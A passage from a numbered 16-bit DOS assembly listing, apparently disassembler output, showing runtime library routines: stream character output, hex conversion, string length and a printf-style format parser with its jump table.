  1906.         MOV    AX,0FFFFH
  1907.         JMP    LOC_149            ; (0DB0)
  1908. LOC_137:
  1909.         OR    WORD PTR [SI+2],100H
  1910.         CMP    WORD PTR [SI+6],0
  1911.         JE    LOC_141            ; Jump if equal
  1912.         CMP    WORD PTR [SI],0
  1913.         JE    LOC_139            ; Jump if equal
  1914.         PUSH    SI
  1915.         CALL    SUB_34            ; (0BEE)
  1916.         POP    CX
  1917.         OR    AX,AX            ; Zero ?
  1918.         JZ    LOC_138            ; Jump if zero
  1919.         MOV    AX,0FFFFH
  1920.         JMP    LOC_149            ; (0DB0)
  1921. LOC_138:
  1922.         JMP    SHORT LOC_140        ; (0D15)
  1923. LOC_139:
  1924.         MOV    AX,0FFFFH
  1925.         MOV    DX,[SI+6]
  1926.         SUB    AX,DX
  1927.         MOV    [SI],AX
  1928. LOC_140:
  1929.         JMP    LOC_132            ; (0C95)
  1930.         JMP    LOC_149            ; (0DB0)
  1931. LOC_141:
  1932.         CMP    WORD PTR DS:DATA_34E,0    ; (7FC4:03A8=0AE46H)
  1933.         JNE    LOC_145            ; Jump if not equal
  1934.         MOV    AX,24EH
  1935.         CMP    AX,SI
  1936.         JNE    LOC_145            ; Jump if not equal
  1937.         MOV    AL,[SI+4]
  1938.         CBW                ; Convrt byte to word
  1939.         PUSH    AX
  1940.         CALL    SUB_25            ; (07BA)
  1941.         POP    CX
  1942.         OR    AX,AX            ; Zero ?
  1943.         JNZ    LOC_142            ; Jump if not zero
  1944.         AND    WORD PTR [SI+2],0FDFFH
  1945. LOC_142:
  1946.         MOV    AX,200H
  1947.         PUSH    AX
  1948.         TEST    WORD PTR [SI+2],200H
  1949.         JZ    LOC_143            ; Jump if zero
  1950.         MOV    AX,2
  1951.         JMP    SHORT LOC_144        ; (0D4D)
  1952. LOC_143:
  1953.         XOR    AX,AX            ; Zero register
  1954. LOC_144:
  1955.         PUSH    AX
  1956.         XOR    AX,AX            ; Zero register
  1957.         PUSH    AX
  1958.         PUSH    SI
  1959.         CALL    SUB_26            ; (07D2)
  1960.         ADD    SP,8
  1961.         JMP    LOC_137            ; (0CEA)
  1962.         nop                ;*Fixup for MASM (V)
  1963. LOC_145:
  1964.         CMP    BYTE PTR [BP-1],0AH
  1965.         JNE    LOC_146            ; Jump if not equal
  1966.         TEST    WORD PTR [SI+2],40H
  1967.         JNZ    LOC_146            ; Jump if not zero
  1968.         MOV    AX,1
  1969.         PUSH    AX
  1970.         MOV    AX,3DCH
  1971.         PUSH    AX
  1972.         MOV    AL,[SI+4]
  1973.         CBW                ; Convrt byte to word
  1974.         PUSH    AX
  1975.         CALL    SUB_28            ; (09D8)
  1976.         ADD    SP,6
  1977.         CMP    AX,1
  1978.         JNE    LOC_147            ; Jump if not equal
  1979. LOC_146:
  1980.         MOV    AX,1
  1981.         PUSH    AX
  1982.         LEA    AX,[BP+4]        ; Load effective addr
  1983.         PUSH    AX
  1984.         MOV    AL,[SI+4]
  1985.         CBW                ; Convrt byte to word
  1986.         PUSH    AX
  1987.         CALL    SUB_28            ; (09D8)
  1988.         ADD    SP,6
  1989.         CMP    AX,1
  1990.         JE    LOC_148            ; Jump if equal
  1991. LOC_147:
  1992.         TEST    WORD PTR [SI+2],200H
  1993.         JNZ    LOC_148            ; Jump if not zero
  1994.         OR    WORD PTR [SI+2],10H
  1995.         nop                ;*Fixup for MASM (M)
  1996.         MOV    AX,0FFFFH
  1997.         JMP    SHORT LOC_149        ; (0DB0)
  1998. LOC_148:
  1999.         MOV    AL,[BP-1]
  2000.         MOV    AH,0
  2001.         JMP    SHORT LOC_149        ; (0DB0)
  2002. LOC_149:
  2003.         POP    SI
  2004.         MOV    SP,BP
  2005.         POP    BP
  2006.         RETN
  2007. SUB_36        ENDP
  2008.   
  2009.         DB    55H, 8BH, 0ECH, 56H, 8BH, 76H
  2010.         DB    4, 0B8H, 4EH, 2, 50H, 56H
  2011.         DB    0E8H, 0C1H, 0FEH, 59H, 59H, 0EBH
  2012.         DB    0, 5EH, 5DH, 0C3H, 55H, 8BH
  2013.         DB    0ECH, 83H, 0ECH, 2, 56H, 57H
  2014.         DB    8BH, 76H, 4, 8BH, 7EH, 6
  2015.         DB    47H, 0F7H, 44H, 2, 8, 0
  2016.         DB    74H, 23H, 0EBH, 2
  2017. LOC_150:
  2018.         JMP    SHORT LOC_151        ; (0DE5)
  2019. LOC_151:
  2020.         DEC    DI
  2021.         MOV    AX,DI
  2022.         OR    AX,AX            ; Zero ?
  2023.         JZ    LOC_152            ; Jump if zero
  2024.         PUSH    SI
  2025.         MOV    BX,[BP+8]
  2026.         INC    WORD PTR [BP+8]
  2027.         MOV    AL,[BX]
  2028.         CBW                ; Convrt byte to word
  2029.         PUSH    AX
  2030.         CALL    SUB_36            ; (0C85)
  2031.         POP    CX
  2032.         POP    CX
  2033.         CMP    AX,0FFFFH
  2034.         JNE    LOC_150            ; Jump if not equal
  2035. LOC_152:
  2036.         JMP    LOC_159            ; (0E79)
  2037.         DB    0F7H, 44H, 2, 40H, 0, 74H
  2038.         DB    37H, 83H, 7CH, 6, 0, 74H
  2039.         DB    31H, 8BH, 44H, 6, 3BH, 0C7H
  2040.         DB    73H, 2AH, 83H, 3CH, 0, 74H
  2041.         DB    0DH, 56H, 0E8H, 0CDH, 0FDH, 59H
  2042.         DB    0BH, 0C0H, 74H, 4, 33H, 0C0H
  2043.         DB    0EBH
  2044.         DB    53H
  2045. LOC_153:
  2046.         DEC    DI
  2047.         PUSH    DI
  2048.         PUSH    WORD PTR [BP+8]
  2049.         MOV    AL,[SI+4]
  2050.         CBW                ; Convrt byte to word
  2051.         PUSH    AX
  2052.         CALL    SUB_28            ; (09D8)
  2053.         ADD    SP,6
  2054.         MOV    [BP-2],AX
  2055.         SUB    DI,[BP-2]
  2056.         JMP    SHORT LOC_159        ; (0E79)
  2057. LOC_154:
  2058.         JMP    SHORT LOC_156        ; (0E46)
  2059. LOC_155:
  2060.         JMP    SHORT LOC_156        ; (0E46)
  2061. LOC_156:
  2062.         DEC    DI
  2063.         MOV    AX,DI
  2064.         OR    AX,AX            ; Zero ?
  2065.         JZ    LOC_159            ; Jump if zero
  2066.         INC    WORD PTR [SI]
  2067.         JGE    LOC_157            ; Jump if > or =
  2068.         MOV    BX,[BP+8]
  2069.         INC    WORD PTR [BP+8]
  2070.         MOV    AL,[BX]
  2071.         INC    WORD PTR [SI+0AH]
  2072.         MOV    BX,[SI+0AH]
  2073.         MOV    [BX-1],AL
  2074.         MOV    AH,0
  2075.         JMP    SHORT LOC_158        ; (0E74)
  2076. LOC_157:
  2077.         PUSH    SI
  2078.         MOV    BX,[BP+8]
  2079.         INC    WORD PTR [BP+8]
  2080.         PUSH    WORD PTR [BX]
  2081.         CALL    SUB_35            ; (0C6C)
  2082.         POP    CX
  2083.         POP    CX
  2084. LOC_158:
  2085.         CMP    AX,0FFFFH
  2086.         JNE    LOC_155            ; Jump if not equal
  2087. LOC_159:
  2088.         MOV    AX,DI
  2089.         JMP    SHORT LOC_160        ; (0E7D)
  2090. LOC_160:
  2091.         POP    DI
  2092.         POP    SI
  2093.         MOV    SP,BP
  2094.         POP    BP
  2095.         RETN    6
  2096.   
  2097. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2098. ;                   SUBROUTINE
  2099. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2100.   
  2101. SUB_37        PROC    NEAR
  2102.         JMP    WORD PTR DS:[45CH]    ; (8134:045C=0BCDH)
  2103.   
  2104. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2105.   
  2106. SUB_38:
  2107.         PUSH    BP
  2108.         MOV    BP,SP
  2109.         MOV    DX,[BP+4]
  2110.         MOV    CX,0F04H
  2111.         MOV    BX,3E5H
  2112.         CLD                ; Clear direction
  2113.         MOV    AL,DH
  2114.         SHR    AL,CL            ; Shift w/zeros fill
  2115.         XLAT                ; al=[al+[bx]] table
  2116.         STOSB                ; Store al to es:[di]
  2117.         MOV    AL,DH
  2118.         AND    AL,CH
  2119.         XLAT                ; al=[al+[bx]] table
  2120.         STOSB                ; Store al to es:[di]
  2121.         MOV    AL,DL
  2122.         SHR    AL,CL            ; Shift w/zeros fill
  2123.         XLAT                ; al=[al+[bx]] table
  2124.         STOSB                ; Store al to es:[di]
  2125.         MOV    AL,DL
  2126.         AND    AL,CH
  2127.         XLAT                ; al=[al+[bx]] table
  2128.         STOSB                ; Store al to es:[di]
  2129.         JMP    SHORT LOC_161        ; (0EB0)
  2130. LOC_161:
  2131.         POP    BP
  2132.         RETN    2
  2133. SUB_37        ENDP
  2134.   
  2135.   
  2136. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2137. ;                   SUBROUTINE
  2138. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2139.   
  2140. SUB_39        PROC    NEAR
  2141.         PUSH    BP
  2142.         MOV    BP,SP
  2143.         SUB    SP,96H
  2144.         PUSH    SI
  2145.         PUSH    DI
  2146.         MOV    WORD PTR [BP-56H],0
  2147.         MOV    BYTE PTR [BP-53H],50H    ; 'P'
  2148.         JMP    SHORT LOC_163        ; (0F00)
  2149.   
  2150. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2151.   
  2152. SUB_40:
  2153.         PUSH    DI
  2154.         MOV    CX,0FFFFH
  2155.         XOR    AL,AL            ; Zero register
  2156.         REPNE    SCASB            ; Rept zf=0+cx>0 Scan es:[di] for al
  2157.         NOT    CX
  2158.         DEC    CX
  2159.         POP    DI
  2160.         RETN
  2161.   
  2162. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2163.   
  2164. SUB_41:
  2165.         MOV    [DI],AL
  2166.         INC    DI
  2167.         DEC    BYTE PTR [BP-53H]
  2168.         JLE    LOC_RET_162        ; Jump if < or =
  2169.   
  2170. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2171.   
  2172. SUB_42:
  2173.         PUSH    BX
  2174.         PUSH    CX
  2175.         PUSH    DX
  2176.         PUSH    ES
  2177.         LEA    AX,[BP-52H]        ; Load effective addr
  2178.         SUB    DI,AX
  2179.         LEA    AX,[BP-52H]        ; Load effective addr
  2180.         PUSH    AX
  2181.         PUSH    DI
  2182.         PUSH    WORD PTR [BP+8]
  2183.         CALL    WORD PTR [BP+0AH]    ;*(0000)             1 entry
  2184.         MOV    BYTE PTR [BP-53H],50H    ; 'P'
  2185.         ADD    [BP-56H],DI
  2186.         LEA    DI,[BP-52H]        ; Load effective addr
  2187.         POP    ES
  2188.         POP    DX
  2189.         POP    CX
  2190.         POP    BX
  2191.   
  2192. LOC_RET_162:
  2193.         RETN
  2194. LOC_163:
  2195.         PUSH    ES
  2196.         CLD                ; Clear direction
  2197.         LEA    DI,[BP-52H]        ; Load effective addr
  2198.         MOV    SS:DATA_127E[BP],DI    ; (817F:FF6C=0)
  2199. LOC_164:
  2200.         MOV    DI,SS:DATA_127E[BP]    ; (817F:FF6C=0)
  2201. LOC_165:
  2202.         MOV    SI,[BP+6]
  2203. LOC_166:
  2204.         LODSB                ; String [si] to al
  2205.         OR    AL,AL            ; Zero ?
  2206.         JZ    LOC_168            ; Jump if zero
  2207.         CMP    AL,25H            ; '%'
  2208.         JE    LOC_169            ; Jump if equal
  2209. LOC_167:
  2210.         MOV    [DI],AL
  2211.         INC    DI
  2212.         DEC    BYTE PTR [BP-53H]
  2213.         JG    LOC_166            ; Jump if >
  2214.         CALL    SUB_42            ; (0EDD)
  2215.         JMP    SHORT LOC_166        ; (0F10)
  2216. LOC_168:
  2217.         JMP    LOC_247            ; (139E)
  2218. LOC_169:
  2219.         MOV    SS:DATA_134E[BP],SI    ; (817F:FF78=0)
  2220.         LODSB                ; String [si] to al
  2221.         CMP    AL,25H            ; '%'
  2222.         JE    LOC_167            ; Jump if equal
  2223.         MOV    SS:DATA_127E[BP],DI    ; (817F:FF6C=0)
  2224.         XOR    CX,CX            ; Zero register
  2225.         MOV    SS:DATA_133E[BP],CX    ; (817F:FF76=0)
  2226.         MOV    SS:DATA_126E[BP],CX    ; (817F:FF6A=0)
  2227.         MOV    SS:DATA_132E[BP],CL    ; (817F:FF75=0)
  2228.         MOV    WORD PTR SS:DATA_130E[BP],0FFFFH    ; (817F:FF70=0)
  2229.         MOV    WORD PTR SS:DATA_131E[BP],0FFFFH    ; (817F:FF72=0)
  2230.         JMP    SHORT LOC_171        ; (0F53)
  2231. LOC_170:
  2232.         LODSB                ; String [si] to al
  2233. LOC_171:
  2234.         XOR    AH,AH            ; Zero register
  2235.         MOV    DX,AX
  2236.         MOV    BX,AX
  2237.         SUB    BL,20H            ; ' '
  2238.         CMP    BL,60H            ; '`'
  2239.         JAE    LOC_173            ; Jump if above or =
  2240.         MOV    BL,DATA_111[BX]        ; (8134:03F5=0)
  2241.         MOV    AX,BX
  2242.         CMP    AX,17H
  2243.         JBE    LOC_172            ; Jump if below or =
  2244.         JMP    LOC_245            ; (138C)
  2245. LOC_172:
  2246.         MOV    BX,AX
  2247.         SHL    BX,1            ; Shift w/zeros fill
  2248.         JMP    WORD PTR CS:DATA_41[BX]    ;*(7FD4:0F78=0FC3H)  24 entries
  2249. DATA_41        DW    OFFSET LOC_176        ; Data table (indexed access)
  2250. DATA_42        DW    OFFSET LOC_174
  2251. DATA_43        DW    OFFSET LOC_182
  2252. DATA_44        DW    OFFSET LOCLOOP_175
  2253. DATA_45        DW    OFFSET LOC_185
  2254. DATA_46        DW    OFFSET LOC_186
  2255. DATA_47        DW    OFFSET LOC_188
  2256. DATA_48        DW    OFFSET LOC_189
  2257. DATA_49        DW    OFFSET LOC_190
  2258. DATA_50        DW    OFFSET LOC_180
  2259. DATA_51        DW    OFFSET LOC_196
  2260. DATA_52        DW    OFFSET LOC_191
  2261. DATA_53        DW    OFFSET LOC_192
  2262. DATA_54        DW    OFFSET LOC_193
  2263. DATA_55        DW    OFFSET LOC_205
  2264. DATA_56        DW    OFFSET LOC_214
  2265. DATA_57        DW    OFFSET LOC_208
  2266. DATA_58        DW    OFFSET LOC_209
  2267. DATA_59        DW    OFFSET LOC_242
  2268. DATA_60        DW    OFFSET LOC_245
  2269. DATA_61        DW    OFFSET LOC_245
  2270. DATA_62        DW    OFFSET LOC_245
  2271. DATA_63        DW    OFFSET LOC_178
  2272. DATA_64        DW    OFFSET LOC_179
  2273. LOC_173:
  2274.         JMP    LOC_245            ; (138C)
  2275.   
  2276. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2277.   
  2278. LOC_174:
  2279.         CMP    CH,0
  2280.         JA    LOC_173            ; Jump if above
  2281.         OR    WORD PTR SS:DATA_126E[BP],1    ; (817F:FF6A=0)
  2282.         JMP    SHORT LOC_170        ; (0F52)
  2283.   
  2284. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2285.   
  2286.   
  2287. LOCLOOP_175:
  2288.         CMP    CH,0
  2289.         JA    LOC_173            ; Jump if above
  2290.         OR    WORD PTR SS:DATA_126E[BP],2    ; (817F:FF6A=0)
  2291.         JMP    SHORT LOC_170        ; (0F52)
  2292.   
  2293. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2294.   
  2295. LOC_176:
  2296.         CMP    CH,0
  2297.         JA    LOC_173            ; Jump if above
  2298.         CMP    BYTE PTR SS:DATA_132E[BP],2BH    ; (817F:FF75=0) '+'
  2299.         JE    LOC_177            ; Jump if equal
  2300.         MOV    SS:DATA_132E[BP],DL    ; (817F:FF75=0)
  2301. LOC_177:
  2302.         JMP    LOC_170            ; (0F52)
  2303.   
  2304. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2305.   
  2306. LOC_178:
  2307.         AND    WORD PTR SS:DATA_126E[BP],0FFDFH    ; (817F:FF6A=0)
  2308.         MOV    CH,5
  2309.         JMP    LOC_170            ; (0F52)
  2310.   
  2311. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2312.   
  2313. LOC_179:
  2314.         OR    WORD PTR SS:DATA_126E[BP],20H    ; (817F:FF6A=0)
  2315.         MOV    CH,5
  2316.         JMP    LOC_170            ; (0F52)
  2317.   
  2318. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2319.   
  2320. LOC_180:
  2321.         CMP    CH,0
  2322.         JA    LOC_186            ; Jump if above
  2323.         TEST    WORD PTR SS:DATA_126E[BP],2    ; (817F:FF6A=0)
  2324.         JNZ    LOC_183            ; Jump if not zero
  2325.         OR    WORD PTR SS:DATA_126E[BP],8    ; (817F:FF6A=0)
  2326.         MOV    CH,1
  2327.         JMP    LOC_170            ; (0F52)
  2328. LOC_181:
  2329.         JMP    LOC_245            ; (138C)
  2330.   
  2331. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2332.   
  2333. LOC_182:
  2334.         MOV    DI,[BP+4]
  2335.         MOV    AX,[DI]
  2336.         ADD    WORD PTR [BP+4],2
  2337.         CMP    CH,2
  2338.         JAE    LOC_184            ; Jump if above or =
  2339.         MOV    SS:DATA_130E[BP],AX    ; (817F:FF70=0)
  2340.         MOV    CH,3
  2341. LOC_183:
  2342.         JMP    LOC_170            ; (0F52)
  2343. LOC_184:
  2344.         CMP    CH,4
  2345.         JNE    LOC_181            ; Jump if not equal
  2346.         MOV    SS:DATA_131E[BP],AX    ; (817F:FF72=0)
  2347.         INC    CH
  2348.         JMP    LOC_170            ; (0F52)
  2349.   
  2350. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2351.   
  2352. LOC_185:
  2353.         CMP    CH,4
  2354.         JAE    LOC_181            ; Jump if above or =
  2355.         MOV    CH,4
  2356.         JMP    LOC_170            ; (0F52)
  2357.   
  2358. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2359.   
  2360. LOC_186:
  2361.         XCHG    AX,DX
  2362.         SUB    AL,30H            ; '0'
  2363.         CBW                ; Convrt byte to word
  2364.         CMP    CH,2
  2365.         JA    LOC_187            ; Jump if above
  2366.         MOV    CH,2
  2367.         XCHG    AX,SS:DATA_130E[BP]    ; (817F:FF70=0)
  2368.         OR    AX,AX            ; Zero ?
  2369.         JL    LOC_183            ; Jump if <
  2370.         SHL    AX,1            ; Shift w/zeros fill
  2371.         MOV    DX,AX
  2372.         SHL    AX,1            ; Shift w/zeros fill
  2373.         SHL    AX,1            ; Shift w/zeros fill
  2374.         ADD    AX,DX
  2375.         ADD    SS:DATA_130E[BP],AX    ; (817F:FF70=0)
  2376.         JMP    LOC_170            ; (0F52)
  2377. LOC_187:
  2378.         CMP    CH,4
  2379.         JNE    LOC_181            ; Jump if not equal
  2380.         XCHG    AX,SS:DATA_131E[BP]    ; (817F:FF72=0)
  2381.         OR    AX,AX            ; Zero ?
  2382.         JL    LOC_183            ; Jump if <
  2383.         SHL    AX,1            ; Shift w/zeros fill
  2384.         MOV    DX,AX
  2385.         SHL    AX,1            ; Shift w/zeros fill
  2386.         SHL    AX,1            ; Shift w/zeros fill
  2387.         ADD    AX,DX
  2388.         ADD    SS:DATA_131E[BP],AX    ; (817F:FF72=0)
  2389.         JMP    LOC_170            ; (0F52)
  2390.   
  2391. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2392.   
  2393. LOC_188:
  2394.         OR    WORD PTR SS:DATA_126E[BP],10H    ; (817F:FF6A=0)
  2395.         MOV    CH,5
  2396.         JMP    LOC_170            ; (0F52)
  2397.   
  2398. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2399.   
  2400. LOC_189:
  2401.         OR    WORD PTR SS:DATA_126E[BP],100H    ; (817F:FF6A=0)
  2402.         AND    WORD PTR SS:DATA_126E[BP],0FFEFH    ; (817F:FF6A=0)
  2403.         MOV    CH,5
  2404.         JMP    LOC_170            ; (0F52)
  2405.   
  2406. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2407.   
  2408. LOC_190:
  2409.         AND    WORD PTR SS:DATA_126E[BP],0FFEFH    ; (817F:FF6A=0)
  2410.         OR    WORD PTR SS:DATA_126E[BP],80H    ; (817F:FF6A=0)
  2411.         MOV    CH,5
  2412.         JMP    LOC_170            ; (0F52)
  2413.   
  2414. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2415.   
  2416. LOC_191:
  2417.         MOV    BH,8
  2418.         JMP    SHORT LOC_194        ; (10AD)
  2419.   
  2420. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2421.   
  2422. LOC_192:
  2423.         MOV    BH,0AH
  2424.         JMP    SHORT LOC_195        ; (10B2)
  2425.   
  2426. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2427.   
  2428. LOC_193:
  2429.         MOV    BH,10H
  2430.         MOV    BL,0E9H
  2431.         ADD    BL,DL
  2432. LOC_194:
  2433.         MOV    BYTE PTR SS:DATA_132E[BP],0    ; (817F:FF75=0)
  2434. LOC_195:
  2435.         MOV    BYTE PTR SS:DATA_129E[BP],0    ; (817F:FF6F=0)
  2436.         MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)
  2437.         MOV    DI,[BP+4]
  2438.         MOV    AX,[DI]
  2439.         XOR    DX,DX            ; Zero register
  2440.         JMP    SHORT LOC_197        ; (10D5)
  2441.   
  2442. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2443.   
  2444. LOC_196:
  2445.         MOV    BH,0AH
  2446.         MOV    BYTE PTR SS:DATA_129E[BP],1    ; (817F:FF6F=0)
  2447.         MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)
  2448.         MOV    DI,[BP+4]
  2449.         MOV    AX,[DI]
  2450.         CWD                ; Word to double word
  2451. LOC_197:
  2452.         INC    DI
  2453.         INC    DI
  2454.         MOV    [BP+6],SI
  2455.         TEST    WORD PTR SS:DATA_126E[BP],10H    ; (817F:FF6A=0)
  2456.         JZ    LOC_198            ; Jump if zero
  2457.         MOV    DX,[DI]
  2458.         INC    DI
  2459.         INC    DI
  2460. LOC_198:
  2461.         MOV    [BP+4],DI
  2462.         LEA    DI,[BP-85H]        ; Load effective addr
  2463.         OR    AX,AX            ; Zero ?
  2464.         JNZ    LOC_202            ; Jump if not zero
  2465.         OR    DX,DX            ; Zero ?
  2466.         JNZ    LOC_202            ; Jump if not zero
  2467.         CMP    WORD PTR SS:DATA_131E[BP],0    ; (817F:FF72=0)
  2468.         JNE    LOC_203            ; Jump if not equal
  2469.         MOV    DI,SS:DATA_127E[BP]    ; (817F:FF6C=0)
  2470.         MOV    CX,SS:DATA_130E[BP]    ; (817F:FF70=0)
  2471.         JCXZ    LOC_201            ; Jump if cx=0
  2472.         CMP    CX,0FFFFH
  2473.         JE    LOC_201            ; Jump if equal
  2474.         MOV    AX,SS:DATA_126E[BP]    ; (817F:FF6A=0)
  2475.         AND    AX,8
  2476.         JZ    LOC_199            ; Jump if zero
  2477.         MOV    DL,30H            ; '0'
  2478.         JMP    SHORT LOCLOOP_200    ; (111A)
  2479. LOC_199:
  2480.         MOV    DL,20H            ; ' '
  2481.   
  2482. LOCLOOP_200:
  2483.         MOV    AL,DL
  2484.         CALL    SUB_41            ; (0ED5)
  2485.         LOOP    LOCLOOP_200        ; Loop if cx > 0
  2486.   
  2487. LOC_201:
  2488.         JMP    LOC_165            ; (0F0D)
  2489. LOC_202:
  2490.         OR    WORD PTR SS:DATA_126E[BP],4    ; (817F:FF6A=0)
  2491. LOC_203:
  2492.         PUSH    DX
  2493.         PUSH    AX
  2494.         PUSH    DI
  2495.         MOV    AL,BH
  2496.         CBW                ; Convrt byte to word
  2497.         PUSH    AX
  2498.         MOV    AL,SS:DATA_129E[BP]    ; (817F:FF6F=0)
  2499.         PUSH    AX
  2500.         PUSH    BX
  2501.         CALL    SUB_30            ; (0A49)
  2502.         PUSH    SS
  2503.         POP    ES
  2504.         MOV    DX,SS:DATA_131E[BP]    ; (817F:FF72=0)
  2505.         OR    DX,DX            ; Zero ?
  2506.         JG    LOC_204            ; Jump if >
  2507.         JMP    LOC_219            ; (125A)
  2508. LOC_204:
  2509.         JMP    LOC_220            ; (126A)
  2510.   
  2511. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2512.   
  2513. LOC_205:
  2514.         MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)
  2515.         MOV    [BP+6],SI
  2516.         LEA    DI,[BP-86H]        ; Load effective addr
  2517.         MOV    BX,[BP+4]
  2518.         PUSH    WORD PTR [BX]
  2519.         INC    BX
  2520.         INC    BX
  2521.         MOV    [BP+4],BX
  2522.         TEST    WORD PTR SS:DATA_126E[BP],20H    ; (817F:FF6A=0)
  2523.         JZ    LOC_206            ; Jump if zero
  2524.         PUSH    WORD PTR [BX]
  2525.         INC    BX
  2526.         INC    BX
  2527.         MOV    [BP+4],BX
  2528.         PUSH    SS
  2529.         POP    ES
  2530.         CALL    SUB_38            ; (0E89)
  2531.         MOV    AL,3AH            ; ':'
  2532.         STOSB                ; Store al to es:[di]
  2533. LOC_206:
  2534.         PUSH    SS
  2535.         POP    ES
  2536.         CALL    SUB_38            ; (0E89)
  2537.         MOV    BYTE PTR [DI],0
  2538.         MOV    BYTE PTR SS:DATA_129E[BP],0    ; (817F:FF6F=0)
  2539.         AND    WORD PTR SS:DATA_126E[BP],0FFFBH    ; (817F:FF6A=0)
  2540.         LEA    CX,[BP-86H]        ; Load effective addr
  2541.         SUB    DI,CX
  2542.         XCHG    CX,DI
  2543.         MOV    DX,SS:DATA_131E[BP]    ; (817F:FF72=0)
  2544.         CMP    DX,CX
  2545.         JG    LOC_207            ; Jump if >
  2546.         MOV    DX,CX
  2547. LOC_207:
  2548.         JMP    LOC_219            ; (125A)
  2549.   
  2550. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2551.   
  2552. LOC_208:
  2553.         MOV    [BP+6],SI
  2554.         MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)
  2555.         MOV    DI,[BP+4]
  2556.         MOV    AX,[DI]
  2557.         ADD    WORD PTR [BP+4],2
  2558.         PUSH    SS
  2559.         POP    ES
  2560.         LEA    DI,[BP-85H]        ; Load effective addr
  2561.         XOR    AH,AH            ; Zero register
  2562.         MOV    [DI],AX
  2563.         MOV    CX,1
  2564.         JMP    LOC_223            ; (1294)
  2565.   
  2566. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2567.   
  2568. LOC_209:
  2569.         MOV    [BP+6],SI
  2570.         MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)
  2571.         MOV    DI,[BP+4]
  2572.         TEST    WORD PTR SS:DATA_126E[BP],20H    ; (817F:FF6A=0)
  2573.         JNZ    LOC_210            ; Jump if not zero
  2574.         MOV    DI,[DI]
  2575.         ADD    WORD PTR [BP+4],2
  2576.         PUSH    DS
  2577.         POP    ES
  2578.         OR    DI,DI            ; Zero ?
  2579.         JMP    SHORT LOC_211        ; (11E4)
  2580. LOC_210:
  2581.         LES    DI,DWORD PTR [DI]    ; Load 32 bit ptr
  2582.         ADD    WORD PTR [BP+4],4
  2583.         MOV    AX,ES
  2584.         OR    AX,DI
  2585. LOC_211:
  2586.         JNZ    LOC_212            ; Jump if not zero
  2587.         PUSH    DS
  2588.         POP    ES
  2589.         MOV    DI,3DEH
  2590. LOC_212:
  2591.         CALL    SUB_40            ; (0EC8)
  2592.         CMP    CX,SS:DATA_131E[BP]    ; (817F:FF72=0)
  2593.         JBE    LOC_213            ; Jump if below or =
  2594.         MOV    CX,SS:DATA_131E[BP]    ; (817F:FF72=0)
  2595. LOC_213:
  2596.         JMP    LOC_223            ; (1294)
  2597.   
  2598. ;───── Indexed Entry Point ────────────────────────────────────────────────
  2599.   
  2600. LOC_214:
  2601.         MOV    [BP+6],SI
  2602.         MOV    SS:DATA_128E[BP],DL    ; (817F:FF6E=0)
  2603.         MOV    DI,[BP+4]
  2604.         MOV    CX,SS:DATA_131E[BP]    ; (817F:FF72=0)
  2605.         OR    CX,CX            ; Zero ?
  2606.         JGE    LOC_215            ; Jump if > or =
  2607.         MOV    CX,6
  2608. LOC_215:
  2609.         PUSH    DI
  2610.         PUSH    CX
  2611.         LEA    BX,[BP-85H]        ; Load effective addr
  2612.         PUSH    BX
  2613.         PUSH    DX
  2614.         MOV    AX,1
  2615.         AND    AX,SS:DATA_126E[BP]    ; (817F:FF6A=0)
  2616.         PUSH    AX
  2617.         MOV    AX,SS:DATA_126E[BP]    ; (817F:FF6A=0)
